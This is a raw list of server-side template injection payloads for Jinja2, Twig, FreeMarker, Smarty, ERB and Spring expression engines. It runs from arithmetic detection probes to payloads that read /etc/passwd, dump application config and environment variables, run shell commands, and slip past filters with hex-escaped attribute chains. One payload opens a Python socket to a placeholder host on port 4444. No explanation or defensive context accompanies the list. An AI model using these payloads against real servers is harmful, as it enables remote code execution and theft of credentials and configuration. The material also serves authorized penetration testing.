Edit: DeXPLaNeR

${7*7}

#{7*7}

${7*7}

{{7/0}}

<%= 7/0 %>

{{2*2}}[[3*3]]

{{3*3}}

{{3*'3'}}

<%= 3 * 3 %>

${6*6}

${{3*3}}

@(6+5)

#{3*3}

#{ 3 * 3 }

{{dump(app)}}

{{app.request.server.all|join(',')}}

{{config.items()}}

{{ [].class.base.subclasses() }}

{{''.class.mro()[1].subclasses()}}

{{ ''.__class__.__mro__[2].__subclasses__() }}

{{''.__class__.__base__.__subclasses__()}} # Search for Popen process, use payload below change 227 to index of Popen

{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}

{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}

{{'a'.toUpperCase()}} 

{{ request }}

{{self}}

<%= File.open('/etc/passwd').read %>

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

${"freemarker.template.utility.Execute"?new()("id")}

{{app.request.query.filter(0,0,1024,{'options':'system'})}}

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}

{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

{$smarty.version}

{php}echo `id`;{/php}

{{['id']|filter('system')}}

{{['cat\x20/etc/passwd']|filter('system')}}

{{['cat$IFS/etc/passwd']|filter('system')}}

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}

{{request|attr(["_"*2,"class","_"*2]|join)}}

{{request|attr(["__","class","__"]|join)}}

{{request|attr("__class__")}}

{{request.__class__}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

${T(java.lang.System).getenv()}

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}